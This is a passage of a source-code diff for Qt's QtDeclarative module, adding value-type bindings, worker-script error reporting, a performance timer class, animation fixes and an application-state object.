diff --git a/src/declarative/qml/qdeclarativevaluetypescriptclass.cpp b/src/declarative/qml/qdeclarativevaluetypescriptclass.cpp
index 558ef90..4c312b5 100644
--- a/src/declarative/qml/qdeclarativevaluetypescriptclass.cpp
+++ b/src/declarative/qml/qdeclarativevaluetypescriptclass.cpp
@@ -46,6 +46,8 @@
#include "private/qdeclarativeengine_p.h"
#include "private/qdeclarativeguard_p.h"
+#include <QtScript/qscriptcontextinfo.h>
+
QT_BEGIN_NAMESPACE
struct QDeclarativeValueTypeObject : public QScriptDeclarativeClass::Object {
@@ -161,17 +163,41 @@ void QDeclarativeValueTypeScriptClass::setProperty(Object *obj, const Identifier
if (o->objectType == QDeclarativeValueTypeObject::Reference) {
QDeclarativeValueTypeReference *ref = static_cast<QDeclarativeValueTypeReference *>(obj);
+ ref->type->read(ref->object, ref->property);
+ QMetaProperty p = ref->type->metaObject()->property(m_lastIndex);
+
+ QDeclarativeBinding *newBinding = 0;
+ if (value.isFunction() && !value.isRegExp()) {
+ QDeclarativeContextData *ctxt = QDeclarativeEnginePrivate::get(engine)->getContext(context());
+
+ QDeclarativePropertyCache::Data cacheData;
+ cacheData.flags = QDeclarativePropertyCache::Data::IsWritable;
+ cacheData.propType = ref->object->metaObject()->property(ref->property).userType();
+ cacheData.coreIndex = ref->property;
+
+ QDeclarativePropertyCache::ValueTypeData valueTypeData;
+ valueTypeData.valueTypeCoreIdx = m_lastIndex;
+ valueTypeData.valueTypePropType = p.userType();
+
+ newBinding = new QDeclarativeBinding(value, ref->object, ctxt);
+ QScriptContextInfo ctxtInfo(context());
+ newBinding->setSourceLocation(ctxtInfo.fileName(), ctxtInfo.functionStartLineNumber());
+ QDeclarativeProperty prop = QDeclarativePropertyPrivate::restore(cacheData, valueTypeData, ref->object, ctxt);
+ newBinding->setTarget(prop);
+ if (newBinding->expression().contains(QLatin1String("this")))
+ newBinding->setEvaluateFlags(newBinding->evaluateFlags() | QDeclarativeBinding::RequiresThisObject);
+ }
+
QDeclarativeAbstractBinding *delBinding =
- QDeclarativePropertyPrivate::setBinding(ref->object, ref->property, m_lastIndex, 0);
+ QDeclarativePropertyPrivate::setBinding(ref->object, ref->property, m_lastIndex, newBinding);
if (delBinding)
delBinding->destroy();
- ref->type->read(ref->object, ref->property);
- QMetaProperty p = ref->type->metaObject()->property(m_lastIndex);
if (p.isEnumType() && (QMetaType::Type)v.type() == QMetaType::Double)
v = v.toInt();
p.write(ref->type, v);
ref->type->write(ref->object, ref->property, 0);
+
} else {
QDeclarativeValueTypeCopy *copy = static_cast<QDeclarativeValueTypeCopy *>(obj);
copy->type->setValue(copy->value);
diff --git a/src/declarative/qml/qdeclarativevme.cpp b/src/declarative/qml/qdeclarativevme.cpp
index fb07bef..2d551f2 100644
--- a/src/declarative/qml/qdeclarativevme.cpp
+++ b/src/declarative/qml/qdeclarativevme.cpp
@@ -247,8 +247,12 @@ QObject *QDeclarativeVME::run(QDeclarativeVMEStack<QObject *> &stack,
::memset(o, 0, instr.createSimple.typeSize + sizeof(QDeclarativeData));
instr.createSimple.create(o);
- QDeclarativeData *ddata =
- (QDeclarativeData *)(((const char *)o) + instr.createSimple.typeSize);
+ QDeclarativeData *ddata = (QDeclarativeData *)(((const char *)o) + instr.createSimple.typeSize);
+ const QDeclarativeCompiledData::TypeReference &ref = types.at(instr.createSimple.type);
+ if (!ddata->propertyCache && ref.typePropertyCache) {
+ ddata->propertyCache = ref.typePropertyCache;
+ ddata->propertyCache->addref();
+ }
ddata->lineNumber = instr.line;
ddata->columnNumber = instr.createSimple.column;
@@ -320,10 +324,12 @@ QObject *QDeclarativeVME::run(QDeclarativeVMEStack<QObject *> &stack,
(void)new QDeclarativeVMEMetaObject(target, &mo, data, comp);
- QDeclarativeData *ddata = QDeclarativeData::get(target, true);
- if (ddata->propertyCache) ddata->propertyCache->release();
- ddata->propertyCache = propertyCaches.at(instr.storeMeta.propertyCache);
- ddata->propertyCache->addref();
+ if (instr.storeMeta.propertyCache != -1) {
+ QDeclarativeData *ddata = QDeclarativeData::get(target, true);
+ if (ddata->propertyCache) ddata->propertyCache->release();
+ ddata->propertyCache = propertyCaches.at(instr.storeMeta.propertyCache);
+ ddata->propertyCache->addref();
+ }
}
break;
@@ -932,7 +938,6 @@ QObject *QDeclarativeVME::run(QDeclarativeVMEStack<QObject *> &stack,
QDeclarativeEnginePrivate::clear(bindValues);
QDeclarativeEnginePrivate::clear(parserStatus);
- ep->finalizedParserStatus.clear();
return 0;
}
@@ -974,6 +979,11 @@ QDeclarativeCompiledData::TypeReference::createInstance(QDeclarativeContextData
ddata->ownMemory = false;
QObjectPrivate::get(rv)->declarativeData = ddata;
+ if (typePropertyCache && !ddata->propertyCache) {
+ ddata->propertyCache = typePropertyCache;
+ ddata->propertyCache->addref();
+ }
+
return rv;
} else {
Q_ASSERT(component);
diff --git a/src/declarative/qml/qdeclarativeworkerscript.cpp b/src/declarative/qml/qdeclarativeworkerscript.cpp
index a3a32e9..2e8ab18 100644
--- a/src/declarative/qml/qdeclarativeworkerscript.cpp
+++ b/src/declarative/qml/qdeclarativeworkerscript.cpp
@@ -43,6 +43,7 @@
#include "private/qdeclarativelistmodel_p.h"
#include "private/qdeclarativelistmodelworkeragent_p.h"
#include "private/qdeclarativeengine_p.h"
+#include "private/qdeclarativeexpression_p.h"
#include <QtCore/qcoreevent.h>
#include <QtCore/qcoreapplication.h>
@@ -104,6 +105,19 @@ private:
int m_id;
};
+class WorkerErrorEvent : public QEvent
+{
+public:
+ enum Type { WorkerError = WorkerRemoveEvent::WorkerRemove + 1 };
+
+ WorkerErrorEvent(const QDeclarativeError &error);
+
+ QDeclarativeError error() const;
+
+private:
+ QDeclarativeError m_error;
+};
+
class QDeclarativeWorkerScriptEnginePrivate : public QObject
{
Q_OBJECT
@@ -146,6 +160,7 @@ public:
WorkerScript();
int id;
+ QUrl source;
bool initialized;
QDeclarativeWorkerScript *owner;
QScriptValue object;
@@ -173,6 +188,7 @@ protected:
private:
void processMessage(int, const QVariant &);
void processLoad(int, const QUrl &);
+ void reportScriptException(WorkerScript *);
};
QDeclarativeWorkerScriptEnginePrivate::QDeclarativeWorkerScriptEnginePrivate(QDeclarativeEngine *engine)
@@ -273,6 +289,11 @@ void QDeclarativeWorkerScriptEnginePrivate::processMessage(int id, const QVarian
args.setProperty(0, variantToScriptValue(data, workerEngine));
script->callback.call(script->object, args);
+
+ if (workerEngine->hasUncaughtException()) {
+ reportScriptException(script);
+ workerEngine->clearExceptions();
+ }
}
}
@@ -286,7 +307,7 @@ void QDeclarativeWorkerScriptEnginePrivate::processLoad(int id, const QUrl &url)
QFile f(fileName);
if (f.open(QIODevice::ReadOnly)) {
QByteArray data = f.readAll();
- QString script = QString::fromUtf8(data);
+ QString sourceCode = QString::fromUtf8(data);
QScriptValue activation = getWorker(id);
@@ -296,10 +317,19 @@ void QDeclarativeWorkerScriptEnginePrivate::processLoad(int id, const QUrl &url)
ctxt->pushScope(urlContext);
ctxt->pushScope(activation);
ctxt->setActivationObject(activation);
- QDeclarativeScriptParser::extractPragmas(script);
+ QDeclarativeScriptParser::extractPragmas(sourceCode);
workerEngine->baseUrl = url;
- workerEngine->evaluate(script);
+ workerEngine->evaluate(sourceCode);
+
+ WorkerScript *script = workers.value(id);
+ if (script) {
+ script->source = url;
+ if (workerEngine->hasUncaughtException()) {
+ reportScriptException(script);
+ workerEngine->clearExceptions();
+ }
+ }
workerEngine->popContext();
} else {
@@ -307,6 +337,22 @@ void QDeclarativeWorkerScriptEnginePrivate::processLoad(int id, const QUrl &url)
}
}
+void QDeclarativeWorkerScriptEnginePrivate::reportScriptException(WorkerScript *script)
+{
+ if (!script || !workerEngine->hasUncaughtException())
+ return;
+
+ QDeclarativeError error;
+ QDeclarativeExpressionPrivate::exceptionToError(workerEngine, error);
+ error.setUrl(script->source);
+
+ QDeclarativeWorkerScriptEnginePrivate *p = QDeclarativeWorkerScriptEnginePrivate::get(workerEngine);
+
+ QMutexLocker(&p->m_lock);
+ if (script->owner)
+ QCoreApplication::postEvent(script->owner, new WorkerErrorEvent(error));
+}
+
QVariant QDeclarativeWorkerScriptEnginePrivate::scriptValueToVariant(const QScriptValue &value)
{
if (value.isBool()) {
@@ -453,6 +499,16 @@ int WorkerRemoveEvent::workerId() const
return m_id;
}
+WorkerErrorEvent::WorkerErrorEvent(const QDeclarativeError &error)
+: QEvent((QEvent::Type)WorkerError), m_error(error)
+{
+}
+
+QDeclarativeError WorkerErrorEvent::error() const
+{
+ return m_error;
+}
+
QDeclarativeWorkerScriptEngine::QDeclarativeWorkerScriptEngine(QDeclarativeEngine *parent)
: QThread(parent), d(new QDeclarativeWorkerScriptEnginePrivate(parent))
{
@@ -544,12 +600,7 @@ void QDeclarativeWorkerScriptEngine::run()
The above worker script specifies a JavaScript file, "script.js", that handles
the operations to be performed in the new thread. Here is \c script.js:
- \qml
- WorkerScript.onMessage = function(message) {
- // ... long-running operations and calculations are done here
- WorkerScript.sendMessage({ 'reply': 'Mouse is at ' + message.x + ',' + message.y })
- }
- \endqml
+ \quotefile doc/src/snippets/declarative/script.js
When the user clicks anywhere within the rectangle, \c sendMessage() is
called, triggering the \tt WorkerScript.onMessage() handler in
@@ -687,6 +738,10 @@ bool QDeclarativeWorkerScript::event(QEvent *event)
emit message(value);
}
return true;
+ } else if (event->type() == (QEvent::Type)WorkerErrorEvent::WorkerError) {
+ WorkerErrorEvent *workerEvent = static_cast<WorkerErrorEvent *>(event);
+ QDeclarativeEnginePrivate::warning(qmlEngine(this), workerEvent->error());
+ return true;
} else {
return QObject::event(event);
}
diff --git a/src/declarative/qml/qmetaobjectbuilder.cpp b/src/declarative/qml/qmetaobjectbuilder.cpp
index cefc561..6a0226f 100644
--- a/src/declarative/qml/qmetaobjectbuilder.cpp
+++ b/src/declarative/qml/qmetaobjectbuilder.cpp
@@ -122,7 +122,7 @@ enum PropertyFlags {
User = 0x00100000,
ResolveUser = 0x00200000,
Notify = 0x00400000,
- Dynamic = 0x00800000
+ Revisioned = 0x00800000
};
enum MethodFlags {
@@ -139,7 +139,8 @@ enum MethodFlags {
MethodCompatibility = 0x10,
MethodCloned = 0x20,
- MethodScriptable = 0x40
+ MethodScriptable = 0x40,
+ MethodRevisioned = 0x80
};
struct QMetaObjectPrivate
@@ -2277,21 +2278,6 @@ bool QMetaPropertyBuilder::isEnumOrFlag() const
}
/*!
- Returns true if the property has the dynamic flag set;
- otherwise returns false. The default value is false.
-
- \sa setDynamic()
-*/
-bool QMetaPropertyBuilder::isDynamic() const
-{
- QMetaPropertyBuilderPrivate *d = d_func();
- if (d)
- return d->flag(Dynamic);
- else
- return false;
-}
-
-/*!
Sets this property to readable if \a value is true.
\sa isReadable(), setWritable()
@@ -2415,19 +2401,6 @@ void QMetaPropertyBuilder::setEnumOrFlag(bool value)
}
/*!
- Sets this property to have the dynamic flag if \a value is
- true.
-
- \sa isDynamic()
-*/
-void QMetaPropertyBuilder::setDynamic(bool value)
-{
- QMetaPropertyBuilderPrivate *d = d_func();
- if (d)
- d->setFlag(Dynamic, value);
-}
-
-/*!
\class QMetaEnumBuilder
\internal
\brief The QMetaEnumBuilder class enables modifications to an enumerator definition on a meta object builder.
diff --git a/src/declarative/qml/qmetaobjectbuilder_p.h b/src/declarative/qml/qmetaobjectbuilder_p.h
index 6afd755..2678bff 100644
--- a/src/declarative/qml/qmetaobjectbuilder_p.h
+++ b/src/declarative/qml/qmetaobjectbuilder_p.h
@@ -258,7 +258,6 @@ public:
bool isUser() const;
bool hasStdCppSet() const;
bool isEnumOrFlag() const;
- bool isDynamic() const;
void setReadable(bool value);
void setWritable(bool value);
@@ -270,7 +269,6 @@ public:
void setUser(bool value);
void setStdCppSet(bool value);
void setEnumOrFlag(bool value);
- void setDynamic(bool value);
private:
const QMetaObjectBuilder *_mobj;
diff --git a/src/declarative/qml/qml.pri b/src/declarative/qml/qml.pri
index 66b69f9..bf9e54a 100644
--- a/src/declarative/qml/qml.pri
+++ b/src/declarative/qml/qml.pri
@@ -55,7 +55,8 @@ SOURCES += \
$$PWD/qdeclarativedirparser.cpp \
$$PWD/qdeclarativeextensionplugin.cpp \
$$PWD/qdeclarativeimport.cpp \
- $$PWD/qdeclarativelist.cpp
+ $$PWD/qdeclarativelist.cpp \
+ $$PWD/qperformancetimer.cpp
HEADERS += \
$$PWD/qdeclarativeparser_p.h \
@@ -129,8 +130,12 @@ HEADERS += \
$$PWD/qdeclarativedirparser_p.h \
$$PWD/qdeclarativeextensioninterface.h \
$$PWD/qdeclarativeimport_p.h \
- $$PWD/qdeclarativeextensionplugin.h
+ $$PWD/qdeclarativeextensionplugin.h \
+ $$PWD/qperformancetimer_p.h
QT += sql
include(parser/parser.pri)
include(rewriter/rewriter.pri)
+
+# mirrors logic in corelib/kernel/kernel.pri
+unix:!symbian: contains(QT_CONFIG, clock-gettime):include($$QT_SOURCE_TREE/config.tests/unix/clock-gettime/clock-gettime.pri)
diff --git a/src/declarative/qml/qperformancetimer.cpp b/src/declarative/qml/qperformancetimer.cpp
new file mode 100644
index 0000000..1d7ca80
--- /dev/null
+++ b/src/declarative/qml/qperformancetimer.cpp
@@ -0,0 +1,226 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qperformancetimer_p.h"
+
+#if defined(Q_OS_MAC)
+#include <sys/time.h>
+#include <unistd.h>
+#include <mach/mach_time.h>
+#elif defined(Q_OS_UNIX)
+#include <sys/time.h>
+#include <time.h>
+#include <unistd.h>
+#elif defined(Q_OS_SYMBIAN)
+#include <e32std.h>
+#include <sys/time.h>
+#include <hal.h>
+#elif defined(Q_OS_WIN)
+#include <windows.h>
+#endif
+
+// mac/unix code heavily copied from QElapsedTimer
+
+QT_BEGIN_NAMESPACE
+
+////////////////////////////// Mac //////////////////////////////
+#if defined(Q_OS_MAC)
+
+static mach_timebase_info_data_t info = {0,0};
+static qint64 absoluteToNSecs(qint64 cpuTime)
+{
+ if (info.denom == 0)
+ mach_timebase_info(&info);
+ qint64 nsecs = cpuTime * info.numer / info.denom;
+ return nsecs;
+}
+
+void QPerformanceTimer::start()
+{
+ t1 = mach_absolute_time();
+}
+
+qint64 QPerformanceTimer::elapsed() const
+{
+ uint64_t cpu_time = mach_absolute_time();
+ return absoluteToNSecs(cpu_time - t1);
+}
+
+////////////////////////////// Unix //////////////////////////////
+#elif defined(Q_OS_UNIX)
+
+#if defined(QT_NO_CLOCK_MONOTONIC) || defined(QT_BOOTSTRAPPED)
+// turn off the monotonic clock
+# ifdef _POSIX_MONOTONIC_CLOCK
+# undef _POSIX_MONOTONIC_CLOCK
+# endif
+# define _POSIX_MONOTONIC_CLOCK -1
+#endif
+
+#if (_POSIX_MONOTONIC_CLOCK-0 != 0)
+static const bool monotonicClockChecked = true;
+static const bool monotonicClockAvailable = _POSIX_MONOTONIC_CLOCK > 0;
+#else
+static int monotonicClockChecked = false;
+static int monotonicClockAvailable = false;
+#endif
+
+#ifdef Q_CC_GNU
+# define is_likely(x) __builtin_expect((x), 1)
+#else
+# define is_likely(x) (x)
+#endif
+#define load_acquire(x) ((volatile const int&)(x))
+#define store_release(x,v) ((volatile int&)(x) = (v))
+
+static void unixCheckClockType()
+{
+#if (_POSIX_MONOTONIC_CLOCK-0 == 0)
+ if (is_likely(load_acquire(monotonicClockChecked)))
+ return;
+
+# if defined(_SC_MONOTONIC_CLOCK)
+ // detect if the system support monotonic timers
+ long x = sysconf(_SC_MONOTONIC_CLOCK);
+ store_release(monotonicClockAvailable, x >= 200112L);
+# endif
+
+ store_release(monotonicClockChecked, true);
+#endif
+}
+
+static inline void do_gettime(qint64 *sec, qint64 *frac)
+{
+#if (_POSIX_MONOTONIC_CLOCK-0 >= 0)
+ unixCheckClockType();
+ if (is_likely(monotonicClockAvailable)) {
+ timespec ts;
+ clock_gettime(CLOCK_MONOTONIC, &ts);
+ *sec = ts.tv_sec;
+ *frac = ts.tv_nsec;
+ return;
+ }
+#endif
+ *sec = 0;
+ *frac = 0;
+}
+
+void QPerformanceTimer::start()
+{
+ do_gettime(&t1, &t2);
+}
+
+qint64 QPerformanceTimer::elapsed() const
+{
+ qint64 sec, frac;
+ do_gettime(&sec, &frac);
+ sec = sec - t1;
+ frac = frac - t2;
+
+ return sec * Q_INT64_C(1000000000) + frac;
+}
+
+////////////////////////////// Symbian //////////////////////////////
+#elif defined(Q_OS_SYMBIAN)
+
+static qint64 getTimeFromTick(quint64 elapsed)
+{
+ static TInt freq;
+ if (!freq)
+ HAL::Get(HALData::EFastCounterFrequency, freq);
+
+ // ### not sure on units
+ return elapsed / freq;
+}
+
+void QPerformanceTimer::start()
+{
+ t1 = User::FastCounter();
+}
+
+qint64 QPerformanceTimer::elapsed() const
+{
+ return getTimeFromTick(User::FastCounter() - t1);
+}
+
+////////////////////////////// Windows //////////////////////////////
+#elif defined(Q_OS_WIN)
+
+static qint64 getTimeFromTick(quint64 elapsed)
+{
+ static LARGE_INTEGER freq;
+ if (!freq.QuadPart)
+ QueryPerformanceFrequency(&freq);
+ return 1000000000 * elapsed / freq.QuadPart;
+}
+
+void QPerformanceTimer::start()
+{
+ LARGE_INTEGER li;
+ QueryPerformanceCounter(&li);
+ t1 = li.QuadPart;
+}
+
+qint64 QPerformanceTimer::elapsed() const
+{
+ LARGE_INTEGER li;
+ QueryPerformanceCounter(&li);
+ return getTimeFromTick(li.QuadPart - t1);
+}
+
+////////////////////////////// Default //////////////////////////////
+#else
+
+// default implementation (no hi-perf timer) does nothing
+void QPerformanceTimer::start()
+{
+}
+
+qint64 QPerformanceTimer::elapsed() const
+{
+ return 0;
+}
+
+#endif
+
+QT_END_NAMESPACE
+
+
diff --git a/src/declarative/qml/qperformancetimer_p.h b/src/declarative/qml/qperformancetimer_p.h
new file mode 100644
index 0000000..14310bf
--- /dev/null
+++ b/src/declarative/qml/qperformancetimer_p.h
@@ -0,0 +1,79 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QPERFORMANCETIMER_P_H
+#define QPERFORMANCETIMER_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists for the convenience
+// of moc. This header file may change from version to version without notice,
+// or even be removed.
+//
+// We mean it.
+//
+
+#include <QtCore/qglobal.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class Q_AUTOTEST_EXPORT QPerformanceTimer
+{
+public:
+ void start();
+ qint64 elapsed() const;
+
+private:
+ qint64 t1;
+ qint64 t2;
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QPERFORMANCETIMER_P_H
diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp
index 681cea0..dc6d524 100644
--- a/src/declarative/util/qdeclarativeanimation.cpp
+++ b/src/declarative/util/qdeclarativeanimation.cpp
@@ -182,12 +182,11 @@ void QDeclarativeAbstractAnimation::setRunning(bool r)
{
Q_D(QDeclarativeAbstractAnimation);
if (!d->componentComplete) {
- if (d->running && r == d->running) //don't re-register
- return;
d->running = r;
if (r == false)
d->avoidPropertyValueSourceStart = true;
- else {
+ else if (!d->registered) {
+ d->registered = true;
QDeclarativeEnginePrivate *engPriv = QDeclarativeEnginePrivate::get(qmlEngine(this));
engPriv->registerFinalizedParserStatusObject(this, this->metaObject()->indexOfSlot("componentFinalized()"));
}
@@ -204,6 +203,7 @@ void QDeclarativeAbstractAnimation::setRunning(bool r)
d->running = r;
if (d->running) {
+ bool supressStart = false;
if (d->alwaysRunToEnd && d->loopCount != 1
&& qtAnimation()->state() == QAbstractAnimation::Running) {
//we've restarted before the final loop finished; restore proper loop count
@@ -211,6 +211,7 @@ void QDeclarativeAbstractAnimation::setRunning(bool r)
qtAnimation()->setLoopCount(d->loopCount);
else
qtAnimation()->setLoopCount(qtAnimation()->currentLoop() + d->loopCount);
+ supressStart = true; //we want the animation to continue, rather than restart
}
if (!d->connectedTimeLine) {
@@ -218,7 +219,8 @@ void QDeclarativeAbstractAnimation::setRunning(bool r)
this, SLOT(timelineComplete()));
d->connectedTimeLine = true;
}
- d->commence();
+ if (!supressStart)
+ d->commence();
emit started();
} else {
if (d->alwaysRunToEnd) {
@@ -672,7 +674,9 @@ QDeclarativeColorAnimation::~QDeclarativeColorAnimation()
\qml
Item {
- states: [ ... ]
+ states: [
+ // States are defined here...
+ ]
transition: Transition {
NumberAnimation { from: "#c0c0c0"; duration: 2000 }
@@ -725,40 +729,29 @@ void QDeclarativeColorAnimation::setTo(const QColor &t)
/*!
\qmlclass ScriptAction QDeclarativeScriptAction
- \ingroup qml-animation-transition
+ \ingroup qml-animation-transition
\since 4.7
\inherits Animation
\brief The ScriptAction element allows scripts to be run during an animation.
- ScriptAction can be used to run script at a specific point in an animation.
+ ScriptAction can be used to run a script at a specific point in an animation.
\qml
SequentialAnimation {
- NumberAnimation { ... }
+ NumberAnimation {
+ // ...
+ }
ScriptAction { script: doSomething(); }
- NumberAnimation { ... }
+ NumberAnimation {
+ // ...
+ }
}
\endqml
When used as part of a Transition, you can also target a specific
StateChangeScript to run using the \c scriptName property.
- \qml
- State {
- StateChangeScript {
- name: "myScript"
- script: doStateStuff();
- }
- }
- ...
- Transition {
- SequentialAnimation {
- NumberAnimation { ... }
- ScriptAction { scriptName: "myScript" }
- NumberAnimation { ... }
- }
- }
- \endqml
+ \snippet doc/src/snippets/declarative/states/statechangescript.qml state and transition
\sa StateChangeScript
*/
@@ -870,7 +863,7 @@ QAbstractAnimation *QDeclarativeScriptAction::qtAnimation()
/*!
\qmlclass PropertyAction QDeclarativePropertyAction
- \ingroup qml-animation-transition
+ \ingroup qml-animation-transition
\since 4.7
\inherits Animation
\brief The PropertyAction element allows immediate property changes during animation.
@@ -896,21 +889,14 @@ QAbstractAnimation *QDeclarativeScriptAction::qtAnimation()
However, with this code, the \c transformOrigin is not set until \e after
the animation, as a \l State is taken to define the values at the \e end of
a transition. The animation would rotate at the default \c transformOrigin,
- then jump to \c Item.BottomRight. To fix this, insert a PropertyChanges
+ then jump to \c Item.BottomRight. To fix this, insert a PropertyAction
before the RotationAnimation begins:
- \qml
- transitions: Transition {
- SequentialAnimation {
- PropertyAction { target: rect; property: "transformOrigin" }
- RotationAnimation { ... }
- }
- }
- \endqml
+ \snippet doc/src/snippets/declarative/propertyaction-sequential.qml sequential
This immediately sets the \c transformOrigin property to the value defined
in the end state of the \l Transition (i.e. the value defined in the
- PropertyChanges object) so that the rotation animation begins with the
+ PropertyAction object) so that the rotation animation begins with the
correct transform origin.
\sa {QML Animation}, QtDeclarative
@@ -1195,7 +1181,9 @@ void QDeclarativeNumberAnimation::init()
\qml
Item {
- states: [ ... ]
+ states: [
+ // ...
+ ]
transition: Transition {
NumberAnimation { properties: "x"; from: 100; duration: 200 }
@@ -1421,7 +1409,9 @@ QDeclarativeRotationAnimation::~QDeclarativeRotationAnimation()
\qml
Item {
- states: [ ... ]
+ states: [
+ // ...
+ ]
transition: Transition {
RotationAnimation { properties: "angle"; from: 100; duration: 2000 }
@@ -2253,7 +2243,7 @@ void QDeclarativePropertyAnimation::setProperties(const QString &prop)
width: 100; height: 100
color: Qt.rgba(0,0,1)
//need to explicitly specify target and property
- NumberAnimation { id: theAnim; target: theRect; property: "x" to: 500 }
+ NumberAnimation { id: theAnim; target: theRect; property: "x"; to: 500 }
MouseArea {
anchors.fill: parent
onClicked: theAnim.start()
@@ -2555,7 +2545,7 @@ void QDeclarativeParentAnimation::setNewParent(QDeclarativeItem *newParent)
ParentAnimation {
target: myItem
via: topLevelItem
- ...
+ // ...
}
\endqml
*/
diff --git a/src/declarative/util/qdeclarativeanimation_p_p.h b/src/declarative/util/qdeclarativeanimation_p_p.h
index 15bda3c..048ecb1 100644
--- a/src/declarative/util/qdeclarativeanimation_p_p.h
+++ b/src/declarative/util/qdeclarativeanimation_p_p.h
@@ -210,7 +210,7 @@ public:
: running(false), paused(false), alwaysRunToEnd(false),
connectedTimeLine(false), componentComplete(true),
avoidPropertyValueSourceStart(false), disableUserControl(false),
- loopCount(1), group(0) {}
+ registered(false), loopCount(1), group(0) {}
bool running:1;
bool paused:1;
@@ -219,6 +219,7 @@ public:
bool componentComplete:1;
bool avoidPropertyValueSourceStart:1;
bool disableUserControl:1;
+ bool registered:1;
int loopCount;
diff --git a/src/declarative/util/qdeclarativeapplication.cpp b/src/declarative/util/qdeclarativeapplication.cpp
new file mode 100644
index 0000000..e0f6df2
--- /dev/null
+++ b/src/declarative/util/qdeclarativeapplication.cpp
@@ -0,0 +1,112 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativeapplication_p.h"
+#include <private/qobject_p.h>
+#include <QtGui/QApplication>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeApplicationPrivate : public QObjectPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeApplication)
+public:
+ QDeclarativeApplicationPrivate() : active(QApplication::activeWindow() != 0),
+ layoutDirection(QApplication::layoutDirection()) {}
+ bool active;
+ Qt::LayoutDirection layoutDirection;
+};
+
+/*
+ This object and its properties are documented as part of the Qt object,
+ in qdeclarativengine.cpp
+*/
+
+QDeclarativeApplication::QDeclarativeApplication(QObject *parent) : QObject(*new QDeclarativeApplicationPrivate(), parent)
+{
+ if (qApp)
+ qApp->installEventFilter(this);
+}
+
+QDeclarativeApplication::~QDeclarativeApplication()
+{
+}
+
+bool QDeclarativeApplication::active() const
+{
+ Q_D(const QDeclarativeApplication);
+ return d->active;
+}
+
+Qt::LayoutDirection QDeclarativeApplication::layoutDirection() const
+{
+ Q_D(const QDeclarativeApplication);
+ return d->layoutDirection;
+}
+
+bool QDeclarativeApplication::eventFilter(QObject *obj, QEvent *event)
+{
+ Q_UNUSED(obj)
+ Q_D(QDeclarativeApplication);
+ if (event->type() == QEvent::ApplicationActivate
+ || event->type() == QEvent::ApplicationDeactivate) {
+ bool active = d->active;
+ if (event->type() == QEvent::ApplicationActivate)
+ active = true;
+ else if (event->type() == QEvent::ApplicationDeactivate)
+ active = false;
+
+ if (d->active != active) {
+ d->active = active;
+ emit activeChanged();
+ }
+ }
+ if (event->type() == QEvent::LayoutDirectionChange) {
+ Qt::LayoutDirection direction = QApplication::layoutDirection();
+ if (d->layoutDirection != direction) {
+ d->layoutDirection = direction;
+ emit layoutDirectionChanged();
+ }
+ }
+ return false;
